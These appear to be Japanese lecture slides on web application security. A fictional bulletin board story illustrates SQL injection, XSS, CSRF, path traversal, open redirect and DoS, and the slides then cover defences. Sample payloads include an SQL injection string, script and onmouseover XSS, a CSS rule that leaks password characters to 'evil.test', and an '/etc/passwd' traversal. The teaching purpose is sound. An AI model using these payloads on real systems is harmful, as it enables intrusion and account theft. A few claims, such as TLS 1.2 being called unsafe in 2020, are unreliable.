Webアプリとセキュリティ
Over view

2020年8月
ネットワーククラウド本部 - 高井 実
セキュリティ本部 - 高岡 奈央

この講義の目的
ユーザが安心して利用できる
Webアプリケーションの作り方を理解する

Webアプリケーションと聞いて何を想像しますか？
このスライドでは「Webアプリケーション」という言葉を使いますが、この言葉は、Webブラウザから利用できるコンテンツ全般を意味します。
Webページ、Webサイト、Webサービス、Webシステム、Webコンテンツ。
これらを総称して「Webアプリケーション」と呼ぶことにします。
2

今 日 の お 話 - A ge n d a
1章

セキュリティとは何か

3章

情報セキュリティの三大要素（機密性・完全性・可用性）について2章

We b サ ー ビ ス の リ ス ク を 知 る
脆弱性とは何か、具体的な脆弱性と攻撃手法について見ていきます考慮された対策たち
脆弱性を防ぐためには何を考えればよいのか、
Webアプリとブラウザの対策の歴史にも触れます

4章

セキュリティとの付き合い方
Webアプリケーション開発者として、セキュリティの知識を増やすための心得について話します

セキュリティに関する話題は2時間ではとても語り尽くせません。
この講義資料では、セキュリティの一部を紹介できる範囲でお伝えしたいと思います。
セキュリティに興味を持ってもらえたら、自分でいろいろと調べてみてください。

3

はじめに
必ず注意すること – 倫理面

必ず注意すること – 倫理面l（攻撃手法を知ったからといって、または実際に脆弱なWebサービスがあったからといって）攻撃を行うと、不正アクセス禁止法や威力業務妨害、不正指令電磁的記録に関する罪として罰せられますl

鍵をかけ忘れた家があったからといって、泥棒をしてはいいわけではないl 遵法精神l

Ethical Hacking を心掛けましょう（ホワイトハットハッカーの心得）lハッキングは深い知識と高度な技術を活かしたエンジニアリング行為を指す言葉

l もし脆弱性をみつけたら？
l

IPAの脆弱性報告窓口や、そのサイトのお問い合わせ窓口までlhttps://www.ipa.go.jp/security/vuln/report/5

1章
セキュリティとは何か

(1) セキュリティとは何か

l セキュリティは、人、住居、地域社会、国家、組織、資産などを対象とした、害からの保護。（出典：Wikipedia）
l 盗難や破壊など人為的な攻撃からの保護を “security” （セキュリティ）は意味し、事故や災害など人の意志によらない危険や脅威からの安全を表す “safety” （セーフティ）とは区別される。（出典：e-words）「安全」の中でも、人為的な攻撃からの保護を意味するものだとここでは言っている。
ただし、広義にはセーフティを含めてセキュリティを考えることがある。
7

(1.1) 狭義のセキュリティとセーフティl 無人島には、安全問題は生じない。保護を必要とする対象がない
l 無人島に1人がいると、そこではセーフティの問題が生じるl

自然災害や自損事故を起こさず、安全に生活できるかl 無人島に2人以上いると、そこでは新たにセキュリティの問題が生じるl

他人に資産を盗まれたり、プライバシー情報を見られたり、権利を侵害されたりすることなく生活できるか

他人がいなければ、（狭義の）セキュリティ問題は起こらない。
8

(1.2) 情報セキュリティ

l 情報セキュリティとはl

私たちがインターネットやコンピュータを安心して使い続けられるように、セキュリ
ティを考慮するための基本概念

l 情報セキュリティの歴史l

個人で使えるコンピュータは1940年代に誕生したlインターネットの技術の原点は1960年代から始まったl

インターネットを普及されるためには、扱われる「センシティブな情報」に対するセキュリティの確保が重要な課題だった

9

(1.3) ISMS（情報セキュリティ管理システム）の登場
l 情報セキュリティの担保するための仕組みがつくられた
l 1981年、日本では通商産業省から「情報システム安全対策実施事業所
認定制度」が告示される
l「情報処理サービス業」を営む企業の情報システムに、適切な安全対策が取られていることを認定する制度。

l 2001年、ISMS（Information Security Management System）が登場する
l

そして ISO（国際標準化機構）が、IEC（国際電気標準会議）と合同で制定した規格「ISO/IEC 27000 ファミリー」が作られた。
10

(1.4) 27000 ってなんでそんなに大きな数字なの？
l ISO（国際標準化機構）は、情報技術以外にも様々な規格を制定しているl "ISO 1" から連番で規格が存在する。ISOが他の団体と合同で規格したものは "ISO/IEC #" のようになる
lISO/IEC 27000「情報技術 - セキュリティ技術 - 情報セキュリティマネジメントシステム - 概要及び用語」

lISO/IEC 27001「情報技術 - セキュリティ技術 - 情報セキュリティマネジメントシステム - 要求事項」

l

ISMS のことが書かれた20個ほどの規格の総称が「ISO/IEC 27000 ファミリー」である。

l27000番台の全ての規格の意味ではない

ISO の規格一覧（Wikipedia）
11

(1.5) 「ISMS」の概要

l 情報セキュリティ管理システムである。 ISMS 自体は規格ではない
l ISMS の枠組みでは、情報セキュリティを維持することを目的としている
l

具体的に何を考えて、何をすべきかについては ISMS は述べていないl

情報セキュリティについて考えていこう、という枠組みそのものが ISMS である

l 概念を述べているだけで基準や規格ではないl

これだけでは、システム開発者は具体的に何をすればいいかわからない

参考： https://www.iso27001.jp/blog/iso27001isms/4423/

12

(1.6) 「ISO/IEC 27001」と「JIS Q 27001」の概要
l ISMS で解決したい問題を定義する ISO/IEC が制定した規格のひとつ
l 日本ではこれを JIS Q 27000 ファミリーとして翻訳して適用しているlJIS （Japanese Industrial Standards; 日本産業規格）l"Q" はそのうち「管理システム」に関するカテゴリl

日本産業規格の一覧（Wikipedia）

l ISO/IEC 27000 ファミリーのうち、情報システム開発者が満たすべき「要求事項」を定めたのが 27001 規格である
l ISO/IEC 27001（JIS Q 27001）に準拠することで、情報システムが一定の安全基準を満たしていることを保証できる
13

(1.7) 情報セキュリティの三大要素 - JIS Q 27000
JIS Q 27000 より。 （以下の文章では何を言っているのかよくわからない）
l 機密性（Confidentiality） [3.10]l

認可されていない個人、エンティティ又はプロセスに対して、情報を使用させず、また、開示しない特性。

l 完全性（Integrity） [3.36]l

正確さ及び完全さの特性。

l 可用性（Availability） [3.7]l

認可されたエンティティが要求したときに、アクセス及び使用が可能である特性。
14

(1.8) 情報セキュリティの三大要素 - 要約
以下は、少し分かりやすく説明しなおしたもの。
l 機密性（Confidentiality）
l

その人にとっての秘密の情報を、第三者に盗視・盗聴されないことを保証する性質

l 完全性（Integrity）
l

その情報が改竄されないことを保証する性質

l 可用性（Availability）
l

その人がシステムを使いたいときに、システムが利用できることを保証する性質

この三大要素は、情報セキュリティの CIA （シー・アイ・エー）と呼ばれる
15

(1.9) 広義のセキュリティとリスク
l セキュリティとは（広く考えれば）被害が生じないという性質
l セキュリティ（安全性）を高めるとは、リスク（危険性）を減らすこと
l リスクは次の三要素により構成される
l

資産
l

l

脅威
l

l

人や組織がもつ価値・資産（お金や秘密情報など）
資産に危害を与える要因（故意の攻撃、過失、自然現象など）

脆弱性（セキュリティホール）l

脅威からの攻撃・危害を許してしまう性質
16(1.10) リスクの構成要素が揃うと被害が生じる
l 資産l

自宅に置いてあるお金l 脅威l

他人の家から物を盗む泥棒

l 脆弱性
l

大事なものを簡単に盗まれてしまう状況（鍵のかけ忘れ）

自宅に「資産」があって、自宅を狙う泥棒という「脅威」がいて、鍵をかけ忘れるという「脆弱性」が揃うと大きなリスクになる（いつ盗まれてもおかしくない）。
泥棒がいない世界でも、自身の過失や自然災害によって被害を受けるかもしれない。
広義のセキュリティではセーフティも含めて安全性を考える。（操作ミスでデータ全消去…!?）17(1.11) リスクの構成要素を排除しよう

l 資産がなければよい？
l

資産がなければ、鍵をかけなくてもよいかもしれません（本末転倒…？）

l 脅威がなければよい？
l

泥棒がいなければ、鍵をかけなくてよいかもしれません（非現実的…？）

l 脆弱性がなければよい？
l

脅威が存在していたとしても被害が生じない仕組みをつくる（現実的…！）

l

脆弱性をなくすことが、セキュリティを高めることに繋がる（がんばろう）

18

セキュリティを意識した安全なWebアプリケーションの開発とは？

2章
We b サ ー ビ ス の リ ス ク を 知 る(2) Webサービスのリスクを知る
l 【資産の存在】 ログインして使うサービスにはユーザの情報を登録するl

氏名や住所などのプライベートな情報lアカウントのパスワードやクレジットカード番号などの機密情報

l 【脅威の存在】 公開サービスには誰でもアクセスできるl

他人がサービスにアクセスできる（無人島に自分以外がいる）

l

悪い人もいる（Cracker; 悪意を持ったハッカー / ブラックハットハッカー）

l 【脆弱性の存在】 Webサービスの設計と実装における穴l

脅威の行動による被害を許してしまう設計上の欠陥

Webアプリ開発におけるセキュリティ事情を知らないと、ユーザはリスクに晒されてしまう。
21

Webアプリケーションにおける具体的な攻撃手法〜 時をかけるGoatの物語 〜(2.1) 1日目：GoatBBS サービスの登場
l 20xx年、オンライン掲示板システム「GoatBBS」が公開された
l

架空の話です。
この講義の話を想像しやすくするための架空のシステムです。
いま、この資料の著者が考えました。

l GoatBBS とは？
lアカウント登録してログインして使う。
ユーザはスレッドを作成したり、スレッドにコメントを追加することができる。

l

BBS は Bulletin Board System（掲示板システム）の意味。

l

Goat はヤギを意味する単語だが、G.O.A.T. (Greatest of All Time; 史上最高の) の意味も持つ。

lつまり「史上最高の掲示板システム」である。
23

(2.2) 2日目：GoatBBS を愉しむ世界
l Alice, Bob, Charlie, ... などのユーザが登録され、ユーザは GoatBBS を使ってコミュニケーションを楽しんだl

ゲームが好きな Alice。話題のゲームの攻略情報を書き込んだり、他のユーザと情報共有することが日課になっている。

l

数学が好きな Bob。数学やパズルの面白い問題を投稿しては他のユーザに解かせて、解けなかった人に解説をすることを毎日の楽しみにしている。

l

絵を描くのが得意な Charlie。描いたイラストを公開してコメントをもらうのが喜び。
「xx番目にレスをした人」のお題で絵を描いたりした。

l

ゲームプログラミングが得意な Zeppeli。彼は自分で創ったゲームをこの掲示板で公開していた。
24

(2.3) 3日目：GoatBBS でできること
l GoatBBS は、ただの掲示板ではない
lユーザごとにスレッドを立てた回数、コメントされた回数、「いいね」がついた回数などが集計され、マイページでそれを確認することができる。

l「いいね」やコメントがついた人気のスレッドは、スレッド一覧ページとは別に「人気のスレッドページ」に掲載される。

l

コメントにも「いいね」が付けられる。自分の投稿に「いいね」がつけられたりスレッドにコメントがつくとポイント（経験値）が溜まり、レベルアップする。

l

レベルはスレッドやコメントの「投稿者名」の隣に表示される。

ユーザは交流だけでなく、自分のレベルをあげることにも喜びを感じていた。
25

(2.4) 4日目：レベル255のユーザが現れた！

l Mallory というレベル255のユーザが GoatBBS に突如として登場した
l 平均的なユーザのレベルは10で、もっとも人気な Zeppeli でさえレベル20であった頃、レベル255のユーザの存在は異常であった
l Mallory はこのシステムに存在する不具合を利用して、自身の経験値を改竄したのである

26

(2.4.1) SQLインジェクション (SQL Injection; SQLi)
GoatBBS のデータベースでは、User テーブルが次のようになっていた。
ID

Name

MailAddress

Password

Exp

1

Alice

alice@example.net

aLiCe!1225

840

2

Bob

bob@example.com

123456

1935

3

Charliecharlie@example.org

oekakidaisuki

2920

...

...

...

...

...

26

Zeppelizeppeli@example.jp

t!Zm5h%n9Ha1$L>3

32202

27

Malloryadmin@mallory.test

MaLiCiOuSaTtAcEr

9999999927

(2.4.2) SQLiに脆弱だったDB処理の実装
ユーザのマイページで、登録メールアドレスを変更すると次のSQL文が実行される。
$sql = "UPDATE User SET MailAddress = '${value}' WHERE ID = ${id};"

例えば、Alice がメールアドレスを設定すると、次のようなSQL文になる。
$sql = "UPDATE User SET MailAddress = 'alice@example.net' WHERE ID = 1;"

ここで、Mallory が admin@mallory.test', Exp = '99999999 と入力すると攻撃が成立する。
$sql = "UPDATE User SET
MailAddress = 'admin@mallory.test', Exp = '99999999'
WHERE ID = 27;"

これで、Mallory はメールアドレスと同時に、経験値を自由に設定できたのである。
28

(2.4.3) Mallory をアカウント停止にすればよいのか？
l 脆弱性の悪用は、攻撃者に利益をもたらすものだけではないl

SQLインジェクションを利用すれば他人のデータも改竄できるl

Mallory が Alice の経験値を改竄していたら Alice がアカウント停止されるのか？

l 改竄だけが攻撃ではないl

攻撃者は、他のユーザのパスワード情報を盗むことができる

lもし、他のサービスと同じパスワードを設定していたら、メールサービスに不正ログイ
ンされて GoatBBS の外の世界で被害が生じるかもしれない

l 脅威の排除は対策にはならないl

脆弱性を取り除くことが根本的な対策である

l

SQLインジェクションを許してしまったWebアプリ側に責任がある29

(2.4.4) SQLインジェクションのインパクトl

サーバサイドで実行されるコードを注入（インジェクション）できる恐ろしさlOSコマンドインジェクション
ll

SQLインジェクション
ll

OSコマンドを第三者が実行できる。サーバそのものを乗っ取れる
SQLコマンドを第三者が実行できる。データベースを乗っ取れる

クライアントサイドで実行されるコードを注入できる脆弱性もあるl

JavaScriptインジェクション（XSS）
ll

JavaScriptコードを第三者が注入できる。Webページを閲覧したユーザを乗っ取れる

CSSインジェクション
ll

CSSコードを第三者が注入できる。Webページの表示結果を乗っ取れる
input[type="password"][value^="a"] { background: url("http://evil.test/a"); }30

(2.5) 5日目：GoatBBS の終焉 - 信頼の失墜
l Mallory がレベル255になったことが話題となり、GoatBBS の存在は世界中に知れ渡ることとなった
l そして、悪意のあるユーザ Satan は、SQLインジェクションを悪用して全ユーザのパスワードを盗み出し、その情報を「パスワードリスト」として公開してしまうl GoatBBS はユーザのパスワード（あるいは個人情報やクレジットカード番号情報）を流出させてしまった責任を取ることとなり、サービスの信用を失墜させてしまうl その後、GoatBBS を使う者はいなくなった……
31

SQLインジェクション脆弱性のない
世界線に時を戻そう。

(2.6) 6日目：GoatBBS の検索機能
l ここはSQLインジェクション脆弱性のない世界線l

みんな楽しそうに掲示板を使っている

l GoatBBS には、投稿内容を検索する機能があった
l 検索フォームにキーワードを入力すると、そのキーワードを含むスレッドやコメントが表示される
l ゲームが好きな Alice は、Zeppeli が作ったゲーム名を検索するl多くのスレッドが存在する GoatBBS で目的の情報に簡単にたどり着くことができ、Alice はご機嫌そうだ。
33

(2.7) 7日目：検索結果ページのURLを悪用した攻撃l 検索結果ページで「イラスト」と検索すれば、 /search?q=イラスト のようなURLにアクセスされ Charlie が描いたイラストが表示される。
l

実際は /search?q=%E3%82%A4%E3%83%A9%E3%82%B9%E3%83%88 のようにエンコードされている。

l ここで「<script>alert(1)</script>」と検索したらどうなるだろう。
l

URLは `search?q=%3Cscript%3Ealert(1)%3C/script%3E` のようになる。

l 『 「イラスト」の検索結果を表示しました 』のように出力される部分で、HTMLタグがそのまま解釈されるとスクリプトとして実行されてしまう。
l

結果、script タグが解釈されて JavaScript が実行されてしまう！
34

(2.8) 8日目：スレッドやコメントの投稿を悪用した攻撃l 検索結果ページとは別に、任意のJavaScriptを実行させる攻撃がある。
l スレッドやコメントに直接HTMLを書いて投稿する方法である。
l

一部のHTMLタグの入力を許す掲示板はかつて存在していた。

l コメントの文章の色を変えられるように <font color="red"> タグだけは受け付ける実装があったとしよう。
l<script> タグをコメントに書くと、そのタグは取り除かれる。

l

しかし <font color="red" onmouseover="alert(1)"> はどうだろう。

l

なんらかのスクリプトが注入できてしまうと JavaScript の実行ができてしまう！
35

(2.8.1) JavaScriptインジェクション（XSS）

l Webサービスに対して、サービス側の想定しない箇所で第三者が任意のJavaScript を注入できてしまう脆弱性l

このページを別のユーザが閲覧したとき、攻撃者の仕込んだスクリプトが実行されてしまう。

l この脆弱性は「XSS（クロスサイトスクリプティング）」と呼ばれる
l

Cross-Site Scripting の意味だが、CSS と略すと Cascading Style Sheets と被ってしまうのでこちらは XSS と略されている

l Webページに、外部（第三者）からスクリプトが注入できてしまう問題
36

(2.8.2) XSSには大きく3つの種類がある
l Reflected XSS（反射型XSS）l

HTTPリクエストに悪意あるコードが含まれ、HTTPレスポンスにそれが展開されるXSSl

サーバサイドから返されるHTMLに問題のある JavaScript コードが含まれる

l Stored/Persistent XSS（蓄積型or格納型or持続型XSS）l

データベースに悪意あるコードが含まれ、HTTPレスポンスにそれが展開されるXSSl

サーバサイドから返されるHTMLに問題のある JavaScript コードが含まれる

l DOM-based XSSl

HTTPレスポンスではなく、その後の正規の JavaScript 処理によって、上記いずれかの悪意あるコードが展開されるXSSl

サーバサイドから返されるHTMLには問題のある JavaScript コードが含まれない！

37

(2.9) 9日目：AliceとBobのDMが盗み見られた！
l GoatBBS ではユーザ同士の秘密のメッセージもやりとりできた
l Alice と Bob の DM（Direct Message） が第三者に盗み見られた！
l XSSが仕込まれた GoatBBS 内のページを Alice が開いてしまったため、Alice のセッションIDが悪意ある第三者に盗まれ、なりすましによる認証がされてしまったのだ （罠が正規ページにあるので Alice が注意しても防ぎようがない！）
l 認証には大きく2つのステップがあるl

そのアカウントの持ち主であることを確認する「パスワード入力」

l

そのアカウントの持ち主であると認める「セッションID」の照合（Cookie で実現）lセッションIDはいわば「社員証」である。それがあれば本人と認められる
38

(2.10) 10日目：GoatBBS の終焉 - サービスの崩壊

l 悪意のあるユーザ Satan は、 GoatBBS のページを開いたら次のようなJavaScriptが実行される罠を仕込んだl「メールアドレスを satan+{ユーザ名}@satan.test に設定変更し、ログアウトする」

l ログイン操作を行った正規のユーザは、なぜかすぐにログアウトさせられ、その後ログインできなくなってしまった
l サーバサイドコマンドインジェクション脆弱性がなくても、XSS脆弱性があるだけでWebサービスは崩壊してしまう39

全てのインジェクション脆弱性のない
世界線に時を戻そう。

(2.10.1) 補足：最も凶悪なOSコマンドインジェクションl XSSやSQLインジェクションは、そのサービスのユーザに被害が出る
l OSコマンドインジェクションは、サービスを展開しているサーバを乗っ取ることができるlOSコマンドインジェクションに脆弱な場合、SQLインジェクションやXSSも可能となるlサーバ自体を破壊したりサーバ上のSSHアカウントのパスワードも盗むことができるlサービス内の被害にとどまらず、マルウェアやバックドアを設置されることもあるl

さらに、サーバは被害を受けるだけでなく、ウイルスをばら撒く加害者にさせられてしまう可能性もある41

(2.10.2) パストラバーサル、オープンリダイレクトl 任意のコードを実行できなくても危険なケースがある
l パストラバーサル脆弱性l

URLのパラメータでWebアプリがページを表示する実装の場合

l/?page=../../../etc/passwd などと書かれたときに、Webサーバのシステム
ファイルに存在する機密情報が外部に漏洩する可能性がある

l オープンリダイレクト脆弱性
l/login?redirect=/popular/threads このURLでログイン画面が表示され、ログイン後には人気のスレッド一覧ページが表示されるような場合

l

悪意のある第三者が /login?redirect=https://goatbbs.evil.test/のようなリンクを用意したらどうなるだろう42

(2.11) 11日目：インジェクション脆弱性のない掲示板

l ここは全てのインジェクション脆弱性のない世界線l

OSコマンド、SQL、JavaScript、CSS、HTML等の実行コードインジェクション攻撃に対策が施されている

l Alice も Bob も Charlie も、みんな楽しそうに掲示板を使っている
l GoatBBS の管理者は「インジェクション攻撃」について理解を深め、その脆弱性を全て塞いでいる
l 悪意のあるユーザ Satan は、この状況で何らかの攻撃ができるだろうか43

(2.12) 12日目：GoatBBS から消えていく投稿データ
l Alice が GoatBBS にアクセスすると、昨日まで見ていた Charlie のス
レッドが削除されていた
l すると、Charlie が書いた「詳細はこちらをご覧ください（URL）」というスレッドが見つかった
l Alice は何があったのだろうとリンクにアクセスすると、突然 GoatBBS からログアウトさせられてしまい、なぜか再ログインできなくなってしまった
l その後、Bob は、昨日まで見ていた Alice のスレッドが削除されていることに気付く……
44

( 2 . 1 2 . 1 ) CS R F （ ク ロ ス サ イ ト リ ク エ ス ト フ ォ ー ジ ェ リ ） 脆 弱 性
l この脆弱性は「コードの注入（インジェクション）」による攻撃ではないl 攻撃者は「Alice が本人の操作でスレッドを削除する」という操作を偽装して GoatBBS のシステムを騙したのである
l GoatBBS では、作成したスレッドを本人の意思で削除できる機能があるl

ログイン済みの状態で、スレッドの「編集」メニューから「スレッドの削除」ボタンを押すと確認ダイアログが表示されて削除が実行される仕様（よくある設計だ）

l 攻撃者は、この最後の処理で発行される HTTP リクエストを送信する
ページを外部に用意して Alice 本人に実行させたのだった
45

( 2 . 1 2 . 2 ) X S S と CS R F の 違 いl XSS（Cross-Site Scripting）
l

JavaScript を注入（インジェクション）する攻撃l

悪意のあるコードを、正規のユーザのブラウザ上で実行させる

l

被害者のキャッシュカードをスキミングする罠を銀行内に仕掛けるような攻撃

l CSRF（Cross-Site Request Forgeries）
l

コードは注入しないl

正規のユーザが行える正常な操作を、本人の意思に反して実行させる

l

オレオレ詐欺のように振込の操作はあくまで本人に行わせる攻撃46

(2.13) 13日目：GoatBBS の終焉 - サービスの崩壊

l GoatBBS はSQLインジェクションやXSSなど、インジェクション脆弱性を全て防いでいたl しかし Satan が GoatBBS や外部サイト上で罠（オレオレ詐欺の電話）を仕掛けるというCSRF脆弱性を突いた攻撃によって、ユーザの投稿したデータがほとんど消失してしまった
l またもや、GoatBBS は終焉を迎えてしまった……
GoatBBS の戦いは続く。
47

ここまでの攻撃手法を全て対策した
世界線に時を戻そう。

(2.14) 14日目：GoatBBS がなかなか表示されない

l ここはインジェクション系の脆弱性もCSRF脆弱性もない世界線
l Alice も Bob も Charlie も、みんな楽しそうに掲示板を使っている
l しかし、Alice が GoatBBS にアクセスしようとしたが、ページがなかなか表示されないl 一体何があったのだろうかl

また Satan の仕業だろうかl

それとも……

49

(2.14.1) DoS攻撃（Denial of Ser vice Attack）

l DoS攻撃： 標的のサービス運営を妨害する攻撃の総称
l 手法としては大きく2つに分けられる
l

大量のサービス要求を行うことによりサービス運営を妨害する手法

l

脆弱性を突いてサービスを不安定にすることよりサービス運営を妨害する手法

l 多数の攻撃元から単一のターゲットを狙う攻撃のことをDDoS攻撃（Distributed Denial of Service Attack）と呼ぶ

50

(2.14.2) 大量のサービス要求を行う妨害攻撃
l Flood攻撃とも呼ばれる
l 大量の「何か」を送りつけることでサービスをパンクさせるlサービスの窓口に正当な要求を大量に送りつけるl

サービス運営会社の問い合わせ窓口に大量に電話問い合わせをするなど
l

正規のユーザが電話をすると「混雑しています」となり問い合わせができない

l HTTP Floodや、SYN Floodなどの攻撃l

TCPコネクション数の上限値をオーバーさせ、新規のユーザがTCPコネクションを張ること
を妨害する

l

サーバのリソースを埋めるタイプの攻撃

l Ping Floodや、UDP Floodなどの攻撃
l（サーバではなく）ネットワークのリソースを消費してしまうタイプの攻撃51

(2.14.3) サービスの脆弱性を突く妨害攻撃
l サービス継続ができなくなるような攻撃を行ってサービスを停止させるl

非常に時間のかかる処理をリクエストする等l

サービス運営会社に対して、サポート担当者の（無実の）クレームを入れて余計な仕事を増やす
l

サポート担当者は事情聴取などにより、通常業務の遂行ができなくなる

l DoSの脆弱性は、Webアプリケーションから基盤ソフトウェアまで多岐にわたる箇所に存在する可能性がある
l

時には、少しのパケットを送るだけでサービスをクラッシュさせることができるような危険度の高い脆弱性も存在するl Tear Dropは、IPフラグメンテーションを悪用した攻撃で、IPという基盤に存在する脆弱性を利用したものである。
l ReDoSは、Webアプリケーションに存在する脆弱な正規表現を悪用した攻撃で、正規表現エンジンで処理をするのに時間がかかる正規表現を入力することでサービス停止を引き起こす。
52

(2.14.4) Slow HT TP DoS Attackl HTTP通信の仕様上の問題を突いた攻撃である
l 少量のパケットでもターゲットへ大規模な負荷をかけることができる
l 細工をされたHTTPリクエストを送信し、TCPのセッションを引き延ばすlSlow HTTP Header DoS Attackl

Slow HTTP POST Attackl

Slow Read DoS Attackl サービスを提供するサーバ側ではこのリクエストに対する処理にリソースを取られ、他の正規のリクエストの処理に手が回らなくなってしまう53

(2.14.5) DoS攻撃が成立する原因
l 攻撃が成立する背景として、以下が挙げられる
l

Webサーバが持っているネットワーク帯域の狭さl

不十分な負荷分散l

DoSの脆弱性を放置していること

l 攻撃に耐えうるネットワーク帯域を確保することは難しいl

ISPやISP間の連携でDoSのパケットの検知・緩和を行うことがある （IIJも実施している）

l

個人で行う対策としては、 CDN（コンテンツ配信サーバを分散させる仕組み）を導入するなどして、攻撃対象にされるサーバを増やす対策は一般的である （1つのサーバが受ける攻撃の量が減る）

l

BGP（Border Gateway Protocol）の経路広報の仕組みを用いた対策機器なども存在する

54

(2.15) ここまで紹介した脆弱性
ここでは以下の脆弱性について紹介した。 他にも様々な種類がある。
脆弱性

深刻度

OSコマンドインジェクション
SQLインジェクション
パストラバーサル
オープンリダイレクト
クロスサイトスクリプティング (XSS)
CSSインジェクション
クロスサイトリクエストフォージェリ (CSRF)
サービス妨害攻撃 (DoS / DDoS)

滅茶苦茶やばい (SS)超やばい (S)
意外とやばい (A)ちょっとやばい (E)かなりやばい (A)そこそこやばい (C)
けっこうやばい (B)場合による (D)

脆弱性があるとやばいというより、そのやばさを許容できるかどうかが重要
脆弱なせいで攻撃を受けても実害があまり生じないこともある

55

(2.15.1) 能動的攻撃と受動的攻撃
l 脆弱性の種類とは別に、能動的 / 受動的という概念がある
l 能動的攻撃l

攻撃者が自ら攻撃を実行し、それによって危害が加えられるl

サーバサイドコマンドインジェクション系は能動的攻撃をされるケースが多い

l 受動的攻撃l

攻撃者が罠を用意し、被害者が罠を踏むことで危害が発生する

l

クライアントサイドのコードインジェクションは、実行タイミングが被害者がブラウザ
上でコードを解釈したタイミングなので受動的攻撃に分類される

l

CSRF脆弱性も、その罠を踏んだ際に実行されるので受動的攻撃である56

様々な脆弱性を防ぐための対策について見ていこう3章
考慮された対策たち

(3) 脆弱性や罠から身を守るには…？
(3) サイト閲覧(4) レスポンス生成(1) データ書き込み

データ取得(2) DB保存(5) ブラウザ上で表示(1) データ書き込み(9) DoS攻撃！

l

対策をするタイミングはいろいろ考えられる！
l(1) の書き込みのタイミングで、悪意のある投稿をブロックする（ファイアウォールなど）

l(2) のデータ保存のタイミングで、文脈に応じたコード実行をする（コードはコード、データはデータとして実行。プリペアドステートメントの利用）l(3) のページにアクセスするタイミングで、危険なサイトであることを警告してサイトの表示をブロックする（SSL証明書など）

l(4) の出力データを生成する部分で、文脈に応じたエスケープをする（コードはコード、データはデータとして出力。適切なエスケープの実行）l(5) のHTMLを解釈するタイミングで、危険なスクリプトの実行をブロックする（Webブラウザのセキュリティ機構）

59

(3.1) – 〈1〉の書き込みをブロックする(3) サイト閲覧(4) レスポンス生成(1) データ書き込み

データ取得(2) DB保存(5) ブラウザ上で表示(1) データ書き込み(9) DoS攻撃！

l(1) をブロックする方法として、特定のリクエストをブロックする仕組みがあるl

ファイアウォール（FW）と呼ばれる仕組み（ルールで設定した通信を遮断することができる設備、 OSI参照モデルの第3層、第4層でフィルタ）l

Web Application Firewall （WAF） という特殊なファイアウォールもある（OSI参照モデルの第7層の攻撃をルールに従って遮断する）

l

ファイアウォール以外の対策もあるl

IDS（Intrusion Detection System; 不正侵入検知システム）や、IPS（Intrusion Prevention System; 不正侵入防御システム）の導入

60

(3.1.1) OSI参照モデル
l コンピュータが持つべきとされる、通信機能を階層構造に分割したモデル
lLayer7：アプリケーション層lLayer6：プレゼンテーション層lLayer5：セッション層lLayer4：トランスポート層

lLayer3：ネットワーク層lLayer2：データリンク層lLayer1：物理層
Cited from Wikimedia Commons. (Public Domain)
https://commons.wikimedia.org/wiki/File:OSI_Model_v1.svg

61

(3.1.2) ファイアウォール
l ファイアウォールとは、外部からの通信から内部ネットワークを守るための仕組みのことl ここではファイアウォールの種類の中でもパケットフィルタ型のものについて説明するl パケットフィルタ型ファイアウォールは、ソフトウェア型とハードウェア型がある
l

フィルタリングする通信のレイヤによって種別が異なるl

一般的にファイアウォールという言葉は Layer3, Layer4 の通信をフィルタリングするものを指すことが多い
62

( 3 . 1 . 3 ) W e b ア プ リ ケ ー シ ョ ン フ ァ イ ア ウ ォ ー ル （ WA F ）l Layer7の通信をフィルタリングするファイアウォールのことをWebアプリ
ケーションファイアウォールと呼ぶ
l 従来のサーバの防御のために用いられてきたファイアウォールや
IDS/IPSと一緒に用いられる
l WAFは従来の Layer3, Layer4 の通信をフィルタリングするものと異なり、HTTPの通信部分を見ることができるため、SQLインジェクションやXSSなどを検知・遮断することができる

63

(3.2) – 〈2〉のDB操作を安全に実行する(3) サイト閲覧(4) レスポンス生成(1) データ書き込み

データ取得(2) DB保存(5) ブラウザ上で表示(1) データ書き込み(9) DoS攻撃！

l(2) のDB操作を安全に行うため、文脈に応じたエスケープを理解する
l

SQLインジェクションが発生する根本的な原因は、入力データが「値」という文脈を超えて「SQLコード」として解釈されることにあるl

入力データが文脈を超えて別の意味で振る舞わないよう、文脈に応じたエスケープが必要（根本的対策）

l

SQLを操作するフレームワークにはプリペアドステートメントという「値」を文脈に応じてバインドするための仕組みが存在している
l

SQL文の組み立てでは、入力データを文字列結合してはいけない！ （文脈を超えた振る舞いが発生してしまう）

l

プリペアドステートメント（静的プレースホルダ）とは別に動的プレースホルダがあるが、動的プレースホルダの利用は推奨されない

64

(3.3) – 〈3〉のサイト閲覧時に危険性をチェックする(3) サイト閲覧(4) レスポンス生成(1) データ書き込み

データ取得(2) DB保存(5) ブラウザ上で表示(1) データ書き込み(9) DoS攻撃！

l(3) のサイト閲覧時に安全性を高めるための仕組みが存在する
l

HTTP ではなく HTTPS という仕組み（HTTP Secure）がある

l

SSL/TLS を用いて HTTP を保護する

ll

通信パケットを傍受されても暗号化によって通信内容を保護することができる（機密性の確保）

l

通信データの検証により改竄を検知することができる（完全性の確保）

SSLサーバ証明書という仕組みにより、アクセスしようとしているWebサーバがそのドメイン名の所有者のサーバであるかどうかを検証できる65

(3.3.1) HTTPS や SSL 2.0 を使えば安全？
l HTTPS や SSL (Secure Socket Layer) を使えば安全性が向上する？
l

SSL 2.0 は1995年の仕様。 致命的な問題が見つかり1996年に SSL 3.0 が誕生した

l

SSL 3.0 は長らく使われてきた。 「SSL」という言葉が有名なのもこれに拠る
l2014年に「POODLE攻撃」という脆弱性が発見され SSL 3.0 は終焉を迎えた

l SSL に代わるより新しい規格は TLS (Transport Layer Security)l

TLS 1.0 は1999年、TLS 1.1 は2006年、TLS 1.2 は2008年、TLS 1.3 は2018年公開

l

TLS は安全とされていたが、2020年時点では TLS 1.2 ですら危険とされているl

TLS 1.2 以前の暗号化プロトコルを用いたSSLサーバ証明書は、Firefox などの一部のブラウザではSSLサーバ証明書が不正な場合と同様の警告画面が表示される
66

(3.4) – 〈4〉のレスポンス生成を安全に行う(3) サイト閲覧(4) レスポンス生成(1) データ書き込み

データ取得(2) DB保存(5) ブラウザ上で表示(1) データ書き込み(9) DoS攻撃！

l(4) のレスポンス生成を安全に行うため、文脈に応じたエスケープを理解するl

XSSが発生する根本的な原因は、入力データが「値」という文脈を超えて「実行コード」として解釈されることにあるl

インジェクション攻撃の原因はすべてこれ！ OSコマンドインジェクションも同じ！

l

入力データが文脈を超えて別の意味で振る舞わないよう、文脈に応じたエスケープが必要（根本的対策）

l

